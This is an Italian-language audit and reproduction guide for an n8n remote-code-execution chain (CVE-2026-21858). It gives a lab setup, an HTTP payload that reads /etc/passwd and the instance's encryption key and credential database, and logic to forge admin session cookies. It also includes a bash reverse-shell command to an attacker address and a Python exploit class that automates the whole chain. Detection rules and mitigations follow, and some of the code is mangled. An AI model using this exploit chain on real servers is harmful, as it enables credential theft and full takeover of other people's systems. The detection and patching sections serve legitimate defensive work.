
Audit tecnico e riproduzione di CVE-2026-21858, una catena RCE in n8n che sfrutta la confusione sul Content-Type per lettura arbitraria di file, falsificazione di sessione ed esecuzione di comandi.
= doi.org/10.5281/zenodo.18278825
= orcid.org/0009-0007-7728-256X
[ANALISI_RICOSTRUZIONE] CVE-2026-21858: Ni8mare - Exploit a Catena Completa RCE su n8n
Questo audit tecnico si basa sui risultati di Dor Attias di Cyera Research Labs (9 novembre 2025) e include passaggi di riproduzione pronti all'uso per ambienti di laboratorio REmnux/Kali Linux.
Informazioni Chiave: Target: versioni di n8n >=1.65.0 fino a <1.121.0.
Vettore di Attacco: Rete (HTTP/HTTPS).
Complessità: Bassa.
Impatto: Totale (Riservatezza, Integrità e Disponibilità).
Punteggio EPSS: 0.97 (Probabilità di sfruttamento molto alta).
Flusso Normale: Una richiesta multipart/form-data viene elaborata da parseFormData() (utilizzando il parser Formidable), che popola correttamente l'oggetto req.body.files.
Condizione Vulnerabile: Se un attaccante invia una richiesta con Content-Type: application/json, il middleware invoca parseBody(). Il JSON inviato viene quindi analizzato direttamente in req.body, sovrascrivendo fatalmente la proprietà req.body.files senza ulteriore validazione.
Sfruttamento: La funzione formWebhook -> prepareFormReturnItem() chiama ciecamente copyBinaryFile(req.body.files[0].filepath), fidandosi del percorso file fornito nel JSON, copiando così file locali arbitrari nell'archivio del workflow accessibile.
Prerequisiti: Docker e Docker Compose.
Python 3 con le librerie requests, pyjwt e cryptography.
Netcat (nc) o Burp Suite per la cattura della shell.
Passaggi di Distribuzione: Eseguire l'istanza vulnerabile:
Bash
docker run -d
--name ni8mare-vuln
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.65.0
Inizializzazione Admin: Accedere a http://localhost:5678, creare un account admin (es., [email protected] / Password123!).
Configurazione del Workflow: Creare un nuovo workflow con un nodo "Form Trigger" che includa un campo "File Upload". Attivare il workflow e annotare la "Test URL".
Payload della Richiesta HTTP:
HTTP
POST /webhook-test/{workflow-id}/form-endpoint HTTP/1.1 Host: target:5678 Content-Type: application/json User-Agent: Mozilla/5.0
[{"filepath":"/etc/passwd","mimetype":"text/plain","filename":"fake.txt"}] Target Strategici:
/home/node/.n8n/config: Per rubare la N8N_ENCRYPTION_KEY.
/home/node/.n8n/database.sqlite: Per estrarre gli hash delle credenziali utente.
Fase 2: Bypass dell'Autenticazione (Falsificazione di Sessione) Una volta ottenuti la chiave di crittografia e i dati utente, il cookie n8n-auth può essere falsificato.
Logica di Falsificazione della Sessione:
Payload: {"userId":1, "hash": sha256(email + password).slice(0,10)}.
Firma: Firmato utilizzando la N8N_ENCRYPTION_KEY con l'algoritmo HS256.
Risultato: Il cookie generato consente l'accesso amministrativo completo senza passare dal normale processo di login.
Fase 3: Esecuzione Remota di Codice (RCE) Come admin (tramite il cookie falsificato), possiamo automatizzare la creazione di un nuovo workflow contenente un nodo "Execute Command".
Payload del Comando: bash -c "bash -i >& /dev/tcp/{attacker_ip}/4444 0>&1"
Python
#!/usr/bin/env python3
import requests, json, hashlib, jwt, time
class Ni8mareExploit: def init(self, target, webhook_id): self.target = target.rstrip('/') self.webhook_url = f"{self.target}/webhook-test/{webhook_id}/form-endpoint" self.session = requests.Session()
def read_file(self, path, name):
"""Phase 1: Arbitrary File Read via Content-Type Confusion"""
print(f"[*] Attempting to read {path}...")
payload = [{"filepath": path, "mimetype": "text/plain", "filename": name}]
headers = {'Content-Type': 'application/json'}
r = self.session.post(self.webhook_url, json=payload, headers=headers)
return r.status_code == 200
def forge_session(self, email, password, key):
"""Phase 2: Cookie Forgery"""
hash_src = email + password
h = hashlib.sha256(hash_src.encode()).hexdigest()[:10]
payload = {'userId': 1, 'hash': h}
cookie = jwt.encode(payload, key, algorithm='HS256')
self.session.cookies.set('n8n-auth', cookie)
print(f"[+] Forged Cookie: n8n-auth={cookie}")
def trigger_rce(self, lhost, lport):
"""Phase 3: RCE via Workflow Automation"""
cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
wf_payload = {
"name": "Ni8mare RCE",
"nodes": [{"parameters": {"command": cmd}, "type": "n8n-nodes-base.executeCommand"}],
"active": True
}
r = self.session.post(f"{self.target}/rest/workflows", json=wf_payload)
print("[!] RCE Workflow Deployed. Check your listener!")
Indicatori di Rete (IDS/IPS): Firma Suricata: alert http $EXTERNAL_NET any -> $HOME_NET 5678 (msg:"Ni8mare Exploit Attempt"; content:"application/json"; content:"filepath"; sid:1000001;)
Anomalia: Richieste POST con Content-Type: application/json inviate all'endpoint /webhook/*/form-endpoint.
Forensics Basate sull'Host: Filesystem: Cercare file di testo sospetti nella directory ~/.n8n/files/ contenenti dati di sistema (es., /etc/passwd).
Log: Controllare i log di n8n per attività della funzione prepareFormReturnItem senza dati multipart associati.
Docker Inspect: Verificare che la versione dell'immagine sia inferiore alla 1.121.0.
Workaround: Se la patch non è fattibile, limitare l'accesso all'endpoint /webhook utilizzando un Web Application Firewall (WAF) per bloccare richieste JSON sospette.
Segmentazione di Rete: Isolare le istanze n8n dalle reti interne sensibili per prevenire il movimento laterale in caso di intrusione.
Esecuzione: T1059 (Command and Scripting Interpreter)
Persistenza: T1098 (Account Manipulation via Session Forgery)
Esfiltrazione: T1083 (File and Directory Discovery)
DISCLAIMER: Questa analisi è fornita esclusivamente a scopo educativo, per audit di sicurezza e difesa informatica professionale sotto la direzione del Maestro SASTRA_ADI_WIGUNA. Qualsiasi uso improprio di queste informazioni per attività illegali è di assoluta responsabilità dell'operatore. La patch in produzione è obbligatoria.